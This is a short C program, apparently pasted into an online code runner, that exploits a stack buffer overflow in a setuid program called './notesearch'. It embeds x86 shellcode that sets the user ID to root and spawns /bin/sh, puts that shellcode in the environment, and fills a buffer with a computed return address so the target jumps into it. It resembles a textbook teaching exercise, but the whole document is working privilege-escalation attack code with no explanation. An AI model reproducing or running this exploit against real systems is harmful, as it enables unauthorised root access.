fork(1) download
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5.  
  6. char shellcode[]=
  7. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  8. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  9. "\xe1\xcd\x80";
  10.  
  11. int main(int argc, char *argv[]) {
  12. char *env[2] = {shellcode, 0};
  13. unsigned int i, ret;
  14.  
  15. char *buffer = (char *) malloc(160);
  16.  
  17. ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
  18. for(i=0; i < 160; i+=4)
  19. *((unsigned int *)(buffer+i)) = ret;
  20.  
  21. execle("./notesearch", "notesearch", buffer, 0, env);
  22. free(buffer);
  23. }
Success #stdin #stdout 0s 3408KB
stdin
Standard input is empty
stdout
Standard output is empty